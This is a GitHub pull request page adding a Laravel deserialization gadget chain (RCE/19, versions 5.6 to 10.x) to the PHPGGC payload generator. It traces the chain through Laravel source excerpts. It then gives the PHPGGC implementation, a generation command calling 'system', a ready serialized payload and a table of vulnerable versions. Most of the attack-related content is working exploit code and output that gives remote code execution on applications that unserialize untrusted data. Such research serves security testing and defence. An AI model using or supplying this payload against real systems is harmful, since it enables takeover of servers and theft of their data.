Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Laravel: Added RCE/19, which targets Laravel versions 5.6 <= 10.x #172

Merged
merged 1 commit into from Dec 1, 2023

Conversation

therealcoiffeur
Copy link
Contributor

@therealcoiffeur therealcoiffeur commented Nov 29, 2023

I would like to add my Laravel gadgets chain to PHPGGC.

Laravel is a web application framework.

Why?

This technique is known so there is nothing new.

When we search for gadgets chain, we audit the code of all objects in the framework and, more specifically, the code of the following magic methods:

  • __wakeup()
  • __destruct()
  • __toString()
  • __call()
  • __get()

The purpose of this pull request is to help noephites like me by clarifying the possibility of using the magic method _destruct() as a proxy to reach other magic methods, such as __toString(), __call() or __get().

The chain I've identified uses the following objects:

  • Illuminate\Routing\PendingResourceRegistration (serves as a proxy to reach Illuminate\Validation\Rules\RequiredIf::__toString())
  • Illuminate\Routing\ResourceRegistrar (used to trigger Illuminate\Routing\ResourceRegistrar::register())
  • Illuminate\Validation\Rules\RequiredIf (serves as a proxy to reach call_user_func() whose first argument is controlled)
  • Illuminate\Auth\RequestGuard (final call to call_user_func() whose all arguments are controlled)

When an object is destroyed, its magic method __destruct() is called by default.

File: src/Illuminate/Routing/PendingResourceRegistration.php

Class: PendingResourceRegistration

Functions: __destruct(), register()

<?php

namespace Illuminate\Routing;

use Illuminate\Support\Traits\Macroable;

class PendingResourceRegistration
{
    use Macroable;

    ...

    /**
     * Register the resource route.
     *
     * @return \Illuminate\Routing\RouteCollection
     */
    public function register()
    {
        $this->registered = true;

        return $this->registrar->register(
            $this->name, $this->controller, $this->options
        );
    }

    /**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
        if (! $this->registered) {
            $this->register();
        }
    }

We can see that $this->registrar must at least be defined and be an object of class ResourceRegistrar in order to call its function register(). Moreover, it is clear that we control all the parameters of the function register() ($this->name, $this->controller, $this->options).

File: src/Illuminate/Routing/ResourceRegistrar.php

Class: ResourceRegistrar

Function: register()

<?php

namespace Illuminate\Routing;

use Illuminate\Support\Str;

class ResourceRegistrar
{

    ...

    /**
     * Route a resource to a controller.
     *
     * @param  string  $name
     * @param  string  $controller
     * @param  array   $options
     * @return \Illuminate\Routing\RouteCollection
     */
    public function register($name, $controller, array $options = [])
    {

        ...

        if (Str::contains($name, '/')) {
            $this->prefixedResource($name, $controller, $options);

            return;
        }

        ...

    }

    ...

Function call Str::contains() triggers function __toString() from $name which we defined as an Illuminate\Validation\Rules\RequiredIf object.

File: src/Illuminate/Validation/Rules/RequiredIf.php

Class: PendingResourceRegistration

Function: __toString()

<?php

namespace Illuminate\Validation\Rules;

class RequiredIf
{

    ...

    /**
     * Convert the rule to a validation string.
     *
     * @return string
     */
    public function __toString()
    {
        if (is_callable($this->condition)) {
            return call_user_func($this->condition) ? 'required' : '';
        }

        return $this->condition ? 'required' : '';
    }
}

When we look at the function call_user_func(), we realize that we can pass it an array as first parameter (as shown in the example below from the PHP official documentation).

call_user_func

call_user_func — Call the callback given by the first parameter

Description

call_user_func(callable $callback, mixed ...$args): mixed

...

File: Example #4 Using a class method with call_user_func()

<?php

class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";

call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');

$myobject = new myclass();

call_user_func(array($myobject, 'say_hello'));

?>

So we need an object which, when we call one of its methods without parameters, allows us to obtain code execution.

File: src/Illuminate/Auth/RequestGuard.php

Class: RequestGuard

Function: user()

<?php

namespace Illuminate\Auth;

use Illuminate\Http\Request;
use Illuminate\Contracts\Auth\Guard;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Auth\UserProvider;

class RequestGuard implements Guard
{
    use GuardHelpers, Macroable;

    ...

    /**
     * Get the currently authenticated user.
     *
     * @return \Illuminate\Contracts\Auth\Authenticatable|null
     */
    public function user()
    {
        // If we've already retrieved the user for the current request we can just
        // return it back immediately. We do not want to fetch the user data on
        // every call to this method because that would be tremendously slow.
        if (! is_null($this->user)) {
            return $this->user;
        }

        return $this->user = call_user_func(
            $this->callback, $this->request, $this->getProvider()
        );
    }

    ...
}

We can take a look at the function Illuminate\Auth\GuardHelpers::getProvider() to ensure that we control all the parameters of this last call to call_user_func().

File: src/Illuminate/Auth/GuardHelpers.php

Class: GuardHelpers

Function: getProvider()

<?php

namespace Illuminate\Auth;

use Illuminate\Contracts\Auth\UserProvider;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;

/**
 * These methods are typically the same across all guards.
 */
trait GuardHelpers
{

    ...

    /**
     * Get the user provider used by the guard.
     *
     * @return \Illuminate\Contracts\Auth\UserProvider
     */
    public function getProvider()
    {
        return $this->provider;
    }

    ...

}

All we have to do now is to implement it within PHPGGC:

<?php

namespace Illuminate\Auth
{
    class RequestGuard
    {
        protected $callback;
        protected $request;
        protected $provider;
        public function __construct($callback, $request)
        {
            $this->callback = $callback;
            $this->request = $request;
            $this->provider = 1;
        }
    }
}

namespace Illuminate\Validation\Rules
{
    class RequiredIf
    {
        public $condition;
        public function __construct($func, $arg)
        {
            $this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
        }
    }
}

namespace Illuminate\Routing
{
    class ResourceRegistrar
    {
        protected $router;
        public function __construct()
        {
            $this->router = null;
        }
    }

    class PendingResourceRegistration
    {
        protected $registrar;
        protected $name;
        protected $registered = false;
        public function __construct($func, $arg)
        {
            $this->registrar = new \Illuminate\Routing\ResourceRegistrar();
            $this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
        }
    }
}

Now we can generate our new gadgets chain with PHPGGC:

./phpggc Laravel/RCE19 system id
O:46:"Illuminate\Routing\PendingResourceRegistration":3:{s:12:"*registrar";O:36:"Illuminate\Routing\ResourceRegistrar":1:{s:9:"*router";N;}s:7:"*name";O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:11:"*callback";s:6:"system";s:10:"*request";s:2:"id";s:11:"*provider";i:1;}i:1;s:4:"user";}}s:13:"*registered";b:0;}

In the end, we just look at the Laravel code for different versions to determine which version of Laravel is exploitable with this gadgets chain.

Laravel version Illuminate\Auth\RequestGuard::user() Illuminate\Validation\Rules\RequiredIf::__toString() Illuminate\Routing\ResourceRegistrar::register() Illuminate\Routing\PendingResourceRegistration::__destruct() Complete gadgets chain
4.0 - - - - -
4.1 - - - - -
4.2 - - - - -
5.0 - - ok since v5.0.30 in 2014 - -
5.1 - - ok - -
5.2 ok since v5.2.41 in 2015 - ok - -
5.3 ok - ok - -
5.4 ok - ok - -
5.5 ok - ok ok since v5.5.0 in 2017 -
5.6 ok ok since v5.6.30 in 2018 ok ok ok
5.7 ok ok ok ok ok
5.8 ok ok ok ok ok
6.x ok ok ok ok ok
7.x ok ok ok ok ok
8.x ok ok ok ok ok
9.x ok ok ok ok ok
10.x ok ok ok ok ok

@cfreal cfreal merged commit 5faf5c9 into ambionics:master Dec 1, 2023
@cfreal
Copy link
Collaborator

cfreal commented Dec 1, 2023

Thanks, coiffeur!

Charles

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants